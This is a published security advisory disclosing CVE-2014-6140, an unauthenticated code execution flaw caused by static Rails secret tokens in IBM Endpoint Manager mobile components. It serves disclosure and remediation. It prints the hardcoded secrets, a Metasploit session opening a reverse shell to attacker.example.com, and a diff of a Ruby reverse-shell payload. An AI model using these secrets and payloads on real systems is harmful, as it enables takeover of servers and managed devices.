Advisory: Unauthenticated Remote Code Execution in IBM Endpoint Manager Mobile Device Management Components During a penetration test, RedTeam Pentesting discovered that several IBM Endpoint Manager Components are based on Ruby on Rails and use static secret_token values. With these values, attackers can create valid session cookies containing marshalled objects of their choosing. This can be leveraged to execute arbitrary code when the Ruby on Rails application unmarshals the cookie. Details ======= Product: IBM Endpoint Manager for Mobile Devices Affected Components: Enrollment and Apple iOS Management Extender, Mobile Device Management Self-Service Portal, Mobile Device Management Admin Portal and Trusted Service Provider Affected Versions: All versions prior to 9.0.60100 Fixed Versions: 9.0.60100 Vulnerability Type: Unauthenticated Remote Code Execution Security Risk: high Vendor URL: http://www-03.ibm.com/software/products/en/ibmendpmanaformobidevi http://www-01.ibm.com/support/docview.wss?uid=swg21691701 Vendor Status: fixed version released Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-012 Advisory Status: published CVE: CVE-2014-6140 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6140 Introduction ============ "IBM Endpoint Manager for Mobile Devices provides a completely integrated approach for managing, securing, and reporting on laptops, desktops, servers, smartphones, tablets, and even specialty devices such as point-of-sale terminals. This provides customers with unprecedented real-time visibility and control over all devices employees use in their daily job functions; reducing costs, increasing productivity, and improving compliance." (from the vendor's homepage) More Details ============ IBM Endpoint Manager for Mobile Devices is part of the IBM Endpoint Manager (IEM, formerly Tivoli Endpoint Manager, or TEM) product family. Several components related to mobile device management can be installed either on the main TEM Server, or on so-called TEM Relays, and are then accessible via HTTPS at port 443 of the respective system, such as: Path Component / Enrollment and Apple iOS Management Extender /ssp/ Mobile Device Management Self-Service Portal /ap/ Mobile Device Management Admin Portal /tsp/ Trusted Service Provider When issuing HTTP requests to any of these paths, the respective server responds in a manner similar to the following example: $ curl -skI https://tem.example.com/ HTTP/1.1 200 OK Content-Type: text/html;charset=UTF-8 X-UA-Compatible: IE=Edge,chrome=1 [...] Set-Cookie: _mdm_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJThjZjZjYTIxNjU wODg1ODFiMTYxY2FmYTBhNjA0ODM3BjsAVEkiEF9jc3JmX3Rva2VuBjsARkk iMTQ2S2V3blNnQ1cxeGpaN1hSM0hLMjY1ZUFpT21rbDFvL2RhUk41eDN2OTQ 9BjsARg%3D%3D--e48265ee63dd90381caa92248d27162f67b1ea06; path=/; secure; HttpOnly [...] X-Rack-Cache: miss Content-Length: 0 Server: Jetty(8.1.14.v20131031) While the Server header indicates that the web applications are hosted on a Jetty Java application server, the X-Rack-Cache header and the cookie format are typically used by Ruby on Rails applications. The cookie is in fact a Base64 encoded marshalled Ruby object protected by an HMAC (the hexadecimal value following the two dashes). The cookie value can be unmarshalled as follows: $ ruby -e 'puts Marshal.load("BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJThjZjZj'\ 'YTIxNjUwODg1ODFiMTYxY2FmYTBhNjA0ODM3BjsAVEkiEF9jc3JmX3Rva2VuBjsARkkiM'\ 'TQ2S2V3blNnQ1cxeGpaN1hSM0hLMjY1ZUFpT21rbDFvL2RhUk41eDN2OTQ9BjsARg==".'\ 'unpack("m0")[0])' {"session_id"=>"8cf6ca2165088581b161cafa0a604837", "_csrf_token"=>"46KewnSgCW1xjZ7XR3HK265eAiOmkl1o/daRN5x3v94="} To create a cookie with a valid HMAC requires knowledge of a secret stored on the application server. In Ruby on Rails version 3 applications, this value is normally stored in the variable secret_token that is set in the file config/initializers/secret_token.rb. It is good practice to generate these values randomly when an application is installed. The IBM Endpoint Manager components, however, use static values that are the same across all installations. These values can be determined by manually inspecting the web application archives (e.g. ap.war, ios.war, ssp.war, tsp.war) installed into the directory C:\Program Files\BigFix Enterprise\Management Extender\MDM Provider\webapps of the respective server. The Enrollment and Apple iOS Management Extender, for example, is contained in the file ios.war. The archive contains a Ruby on Rails web application that was compiled to Java class files. The secret token needed for calculating the HMAC is contained in the file WEB-INF/config/initializers/secret_token.class: $ strings WEB-INF/config/initializers/secret_token.class \ | egrep -o '[0-9a-f]{128}' 65c0eb133b2c8481b08b41cfc0969cbdd540f3c1ce0fd66be2d24ffc97d09730d11d53e0 2cac31753721610ad7dc00f6f9942e3825fd4895a4e2805712fa6365 It can be verified that this secret is used for generating the HMAC that protects the cookie value by using the OpenSSL command line utility to calculate an HMAC of the aforementioned Base64 encoded data: $ echo -n 'BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJThjZjZjYTIxNjUwODg1ODFiMT'\ 'YxY2FmYTBhNjA0ODM3BjsAVEkiEF9jc3JmX3Rva2VuBjsARkkiMTQ2S2V3blNnQ1cxeG'\ 'paN1hSM0hLMjY1ZUFpT21rbDFvL2RhUk41eDN2OTQ9BjsARg=='\ | openssl dgst -sha1 -hmac '65c0eb133b2c8481b08b41cfc0969cbdd540f3c1'\ 'ce0fd66be2d24ffc97d09730d11d53e02cac31753721610ad7dc00f6f9942e3825fd'\ '4895a4e2805712fa6365' (stdin)= e48265ee63dd90381caa92248d27162f67b1ea06 The resulting value is identical to the HMAC originally appended to the cookie. Once the secret is known, arbitrary cookie values can be crafted and sent to the respective application for further processing. As demonstrated by Metasploit's rails_secret_deserialization exploit module[0], this can be leveraged into executing arbitrary code on the application server (see also Proof of Concept below). For reference, the following cookie names and secret_token values were identified for the different web applications: Enrollment and Apple iOS Management Extender Path: / Cookie: _mdm_session Secret: 65c0eb133b2c8481b08b41cfc0969cbdd540f3c1ce0fd66be2d24ffc97d09730 d11d53e02cac31753721610ad7dc00f6f9942e3825fd4895a4e2805712fa6365 Mobile Device Management Self-Service Portal Path: /ssp/ Cookie: _self-service-portal_session Secret: c5f5da7e3ae1baa9a10f4429b5e7c8aec217b3b53851272bd8f533d47acade48 0863a810630039c7987b04ff70c125512e74a998f8a028080c05265a97c747a3 Mobile Device Management Admin Portal Path: /ap/ Cookie: _admin-portal_session Secret: 2556dea5fbbd90c4a79202a43bdf9bd4c391c67159d021ea8bc478f29801d024 78acb273c2f425cf487c27669af5dbc3fdaf7f870e23a0a544dee04ab2169220 Trusted Service Provider Path: /tsp/ Cookie: _trusted-services-provider_session Secret: b52a3979462299e3a11f6c7c893a980f312fa8e5944fb8fdc74a400c55677aed ba00ce6df9e2d9ef1525c6ab68a2b6dca9e9ba557c0c6d579a1325ec6338178b Exploiting the Trusted Service Provider application was not tested, due to the lack of a properly configured testing environment. However, it is a Ruby on Rails web application deployed to the Jetty application server just like the other applications so that it is likely also vulnerable. This was confirmed by the vendor. Proof of Concept ================ The following listing shows a sample Metasploit session demonstrating the execution of arbitrary code through the Enrollment and Apple iOS Management Extender application: ------------------------------------------------------------------------ msf > use exploit/multi/http/rails_secret_deserialization msf exploit(rails_secret_deserialization) > set PAYLOAD ruby/shell_reverse_tcp PAYLOAD => ruby/shell_reverse_tcp msf exploit(rails_secret_deserialization) > set LHOST attacker.example.com LHOST => attacker.example.com msf exploit(rails_secret_deserialization) > set RHOST tem.example.com RHOST => tem.example.com msf exploit(rails_secret_deserialization) > set RPORT 443 RPORT => 443 msf exploit(rails_secret_deserialization) > set SSL true SSL => true msf exploit(rails_secret_deserialization) > set SSLVERSION TLS1 SSLVERSION => TLS1 msf exploit(rails_secret_deserialization) > set SECRET 65c0eb133b2c8481 b08b41cfc0969cbdd540f3c1ce0fd66be2d24ffc97d09730d11d53e02cac31753721610a d7dc00f6f9942e3825fd4895a4e2805712fa6365 SECRET => 65c0eb133b2c8481b08b41cfc0969cbdd540f3c1ce0fd66be2d24ffc97d097 30d11d53e02cac31753721610ad7dc00f6f9942e3825fd4895a4e2805712fa6365 msf exploit(rails_secret_deserialization) > set PrependFork false PrependFork => false msf exploit(rails_secret_deserialization) > exploit [*] Started reverse handler on attacker.example.com:4444 [*] Checking for cookie [*] Adjusting cookie name to _mdm_session [+] SECRET matches! Sending exploit payload [*] Sending cookie _mdm_session [*] Command shell session 1 opened (attacker.example.com:4444 -> tem.example.com:50169) at 2014-08-15 13:37:31 +0200 cmd.exe /c ver whoami Microsoft Windows [Version 6.1.7601] nt authority\system ------------------------------------------------------------------------ The following changes needed to be applied to the Metasploit Framework to be able to exploit the issue. Most of them were required to address peculiarities of the Java/JRuby environment, such as the lack of support for Kernel.fork(): ------------------------------------------------------------------------ diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index 7803dd5..e72d8c2 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -141,20 +141,25 @@ class Metasploit3 < Msf::Exploit::Remote # - # This stub ensures that the payload runs outside of the Rails process - # Otherwise, the session can be killed on timeout + # This stub tries to ensure that the payload runs outside of the Rails + # process Otherwise, the session can be killed on timeout # def detached_payload_stub(code) %Q^ code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first - if RUBY_PLATFORM =~ /mswin|mingw|win32/ - inp = IO.popen("ruby", "wb") rescue nil - if inp - inp.write(code) - inp.close - end + if RUBY_PLATFORM =~ /mswin|mingw|win32/ and inp = (IO.popen("ruby", "wb") rescue nil) + inp.write(code) + inp.close else - Kernel.fork do + def _fork + begin + Kernel.fork + rescue NotImplementedError + -1 + end + end + pid = _fork + if 0 == pid or -1 == pid eval(code) end end @@ -234,7 +239,7 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => datastore['HTTP_METHOD'], }, 25) if res && !res.get_cookies.empty? - match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /) + match = res.get_cookies.match(/([_A-Za-z0-9-]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) end if match diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp.rb b/modules/payloads/singles/ruby/shell_reverse_tcp.rb index f17c669..0100929 100644 --- a/modules/payloads/singles/ruby/shell_reverse_tcp.rb +++ b/modules/payloads/singles/ruby/shell_reverse_tcp.rb @@ -37,8 +37,31 @@ module Metasploit3 def ruby_string lhost = datastore['LHOST'] lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) - "require 'socket';c=TCPSocket.new(\"#{lhost}\", #{datastore['LPORT'].to_i});" + - "$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" + - "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }" + ruby = <<-EOF +require 'socket' +c=TCPSocket.new("#{lhost}", #{datastore['LPORT'].to_i}) +def reopen(old, new) + begin + old.reopen(new) + rescue IOError => e + new + end +end + +$stdin = reopen($stdin, c) +$stdout = reopen($stdout, c) +$stderr = reopen($stderr, c) +$stdin.each_line{ |l| l=l.strip + + next if l.length==0 + + (IO.popen(l,"rb") { |fd| + fd.each_line { |o| + c.puts(o.strip) + } + }) rescue nil +} + EOF + ruby end end ------------------------------------------------------------------------ Workaround ========== It might be possible to binary patch the Java class files to use a different secret_token value and redeploy the application. This is untested, however. Fix === Install version 9.0.60100 of the affected software components. Security Risk ============= The vulnerability allows unauthenticated remote attackers to execute arbitrary code with administrative privileges on the affected systems. It is highly likely that a successful attack on the application server can also be leveraged into a full compromise of all devices managed through the product. This constitutes a high risk. Timeline ======== 2014-07-29 Vulnerability identified during a penetration test 2014-08-06 Customer approves disclosure to vendor 2014-08-15 Vendor notified, vendor acknowledges receiving the advisory 2014-09-03 Update requested from vendor 2014-09-05 Vendor promises to respond with more details 2014-09-26 Update requested from vendor 2014-09-30 Vendor promises to respond with more details 2014-10-16 Update requested from vendor 2014-10-16 Vendor responds with CVE-ID, plans release for mid-November 2014-11-06 More definite release schedule requested 2014-11-12 Vendor plans release for last week of November 2014-11-21 Additional details requested from vendor 2014-11-22 Vendor responds with details, postpones release to mid-December due to issues discovered during quality control 2014-12-01 Vendor announces imminent release 2014-12-01 Vendor releases security bulletin and software upgrade 2014-12-02 Customer approves public disclosure 2014-12-02 Advisory released References ========== [0] https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/rails_secret_deserialization.rb RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests, short pentests, performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at https://www.redteam-pentesting.de. -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschftsfhrer: Patrick Hof, Jens Liebchen